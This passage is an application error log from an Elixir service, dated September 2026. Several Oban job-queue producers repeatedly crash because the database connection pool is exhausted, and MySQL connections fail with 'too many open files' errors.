State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:58:52.244108Z], limit: 3, uuid: "34d0dcc6-d2f8-4474-a6a8-8c0190561de1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.244115Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.227962>, refresh_timer: #Reference<0.2525715032.1121189889.101394>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:58:52.244358Z], limit: 50, uuid: "9165557a-34a3-4304-ae6f-41ab38b90f99", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.244367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.227961>, refresh_timer: #Reference<0.2525715032.1121189889.101410>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:58:52.247479Z], limit: 20, uuid: "e182d128-376a-4c96-a0b2-c286d04da9aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.247485Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.227958>, refresh_timer: #Reference<0.2525715032.1077411843.227936>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:58:52.244323Z], limit: 10, uuid: "c2c2134c-1f5f-4d78-b377-295fb3e8b1a3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.244328Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.227959>, refresh_timer: #Reference<0.2525715032.1121189889.101406>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:04.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:58:52.244109Z], limit: 5, uuid: "6592b6b7-95d8-4d7a-9fb9-27af242401d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.244117Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.227960>, refresh_timer: #Reference<0.2525715032.1121189889.101397>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:04.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:58:52.239057Z], limit: 5, uuid: "8d008b20-4d91-4747-b67c-80387c4eacd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:58:52.239067Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.101366>, refresh_timer: #Reference<0.2525715032.1068236804.247913>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:05.831000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:08.608000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:13.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:14.098000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:15.581000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:59:16.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:59:04.242913Z], limit: 5, uuid: "e9528f26-5f7f-4c6d-bac4-53525011d8bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.242919Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255830>, refresh_timer: #Reference<0.2525715032.1099169794.255814>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:16.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:59:04.241606Z], limit: 50, uuid: "9edfcbc4-b6f2-4138-8c62-6f88253c44c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.241612Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255831>, refresh_timer: #Reference<0.2525715032.1099169794.255785>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:59:04.241680Z], limit: 3, uuid: "198c92bb-366a-4c93-9515-7f5de74c9379", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:59:04.241686Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.255832>, refresh_timer: #Reference<0.2525715032.1099169794.255788>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:59:16.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
